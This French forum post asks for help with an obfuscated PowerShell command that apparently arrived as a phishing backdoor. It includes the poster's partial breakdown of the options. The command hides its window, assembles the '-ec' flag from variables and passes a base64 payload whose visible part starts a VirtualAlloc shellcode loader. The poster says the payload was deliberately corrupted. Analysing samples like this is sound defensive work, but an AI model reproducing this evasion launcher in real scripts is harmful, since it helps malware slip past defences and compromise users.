Bonjour à tous, j'ai récupéré une backdoor envoyé par email à certain de nos collaborateurs. Par curiosité je tente de comprendre son fonctionnement. Seulement je ne parviens pas a comprendre comment fonctionne celle-ci, j'ai volontairement édité la data encodé la backdoor est non utilisable en l'état, je souhaite simplement comprendre les options

Code bash : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
 
powershell -w 1 -C "sv NJ -;sv lr ec;sv hW ((gv NJ).value.toString()+(gv lr).value.toString());powershell (gv hW).value.toString() 'JAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGJAB5AFEAYgAgAD0AIAAnACQAZgBYAHMAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAG'"

J'ai pré-remplis les lignes que je peux traduire, le reste m'est inconnu et rien dans la doc officiel powershell (ou pas les bons keywords?)

  • powershell : Appel executable powershell
  • -w 1 : Affichage de la fenêtre powershell
  • -C sv NJ -; : -C pour command sv pour Set-Variable
  • sv lr ec;
  • sv hW ((gv NJ).value.toString()+(gv lr).value.toString())
  • powershell : Appel executable powershell
  • (gv hW).value.toString()